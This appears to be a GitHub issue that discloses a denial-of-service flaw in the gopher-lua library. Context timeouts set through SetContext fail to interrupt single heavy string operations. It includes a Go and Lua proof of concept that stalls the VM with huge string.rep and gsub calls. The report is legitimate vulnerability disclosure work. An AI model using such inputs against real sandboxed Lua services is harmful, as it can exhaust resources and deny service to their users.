-
Notifications
You must be signed in to change notification settings - Fork 688
Description
Hi, during a security audit of a piece of software using gopher-lua as a third-party dependency, we have identified a bug on the implementation of the context with timeout that can be passed to a luaVM via SetContext.
In particular, this leads to potential snippets of code capable of stalling the VM even when a timeout is explicitly set. Since this has a potential security impact (Denial Of Service), we tried to contact the maintainer of the library privately (#507), but with no success.
We believe the issue lies in the fact that the context timeout, internally, is checked on every loop of the vm, therefore if a single operation is capable to stall the VM, the timeout will not be checked. This can happen, for instance, in case of heavy string-based operations.
This is a simple proof of concept:
package main
import (
"context"
"fmt"
"time"
lua "github.com/yuin/gopher-lua"
)
func main() {
L := lua.NewState()
defer L.Close()
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
defer cancel()
L.SetContext(ctx)
err := L.DoString(`
function test()
-- Create a large string
local str = string.rep("a", 1000000)
-- Attempt to perform a complex gsub operation
result, err = pcall(function()
return string.gsub(str, "a", function()
return string.rep("b", 100)
end)
end)
if not result then
print("Gsub crashed: " .. tostring(err))
else
print("Gsub succeeded")
end
-- Attempt to create an even larger string
result, err = pcall(function()
return string.rep("a", 2^30)
end)
if not result then
print("String creation crashed: " .. tostring(err))
else
print("String creation succeeded")
end
end
test()
`)
if err != nil {
fmt.Printf("Error executing Lua code: %v\n", err)
}
}The PoC was constructed by modifying the lua script used in the README example that shows how to setup the context with timeout. In our tests (both in Linux and macOS), this consistently hangs the VM for way longer than the set timeout (1 second).
The version used is the latest released (v.1.1.1).